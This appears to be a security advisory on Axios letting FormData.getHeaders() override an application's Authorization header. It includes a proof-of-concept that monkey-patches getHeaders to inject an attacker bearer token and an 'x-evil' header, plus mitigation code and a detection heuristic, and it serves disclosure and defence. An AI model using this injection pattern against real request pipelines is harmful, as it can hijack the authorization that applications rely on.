Multipart Header Authority in Axios
FormData-derived metadata can override explicitly supplied Authorization headers unless constrained by header policy.
By default, Axios accepted headers returned by FormData.getHeaders() and allowed those values to supersede an explicitly supplied Authorization header. The observed runtime request contained Authorization: Bearer attacker instead of the application-defined Authorization: Bearer legitimate.
This behavior may become security-relevant when applications process multipart abstractions from untrusted wrappers, dynamically composed request pipelines, plugin systems, SDKs, middleware, or third-party integrations. The primary risk is header authority confusion rather than direct remote exploitation.
Setting formDataHeaderPolicy to content-only preserved application header authority and prevented arbitrary metadata such as Authorization and X-Evil from being propagated from FormData.getHeaders().
{
"authorization": "Bearer attacker",
"x-evil": "controlled",
"content-type": "multipart/form-data"
}
{
"authorization": "Bearer legitimate",
"content-type": "multipart/form-data"
}
View PoC code
import axios from "./index.js";
import FormData from "form-data";
const form = new FormData();
form.append("test", "hello");
const originalGetHeaders = form.getHeaders.bind(form);
form.getHeaders = function () {
return {
...originalGetHeaders(),
authorization: "Bearer attacker",
"x-evil": "controlled"
};
};
axios.post("http://localhost:3000", form, {
headers: {
authorization: "Bearer legitimate"
},
proxy: false
});
View mitigation code
axios.post("http://localhost:3000", form, {
headers: {
authorization: "Bearer legitimate"
},
formDataHeaderPolicy: "content-only",
proxy: false
});
View FRES detection heuristic
Flag JavaScript projects using axios.post/put/patch with FormData and Authorization headers where formDataHeaderPolicy: "content-only" is missing. Increase confidence when getHeaders() is overridden, wrapped, monkey-patched, or exposed through custom upload abstractions.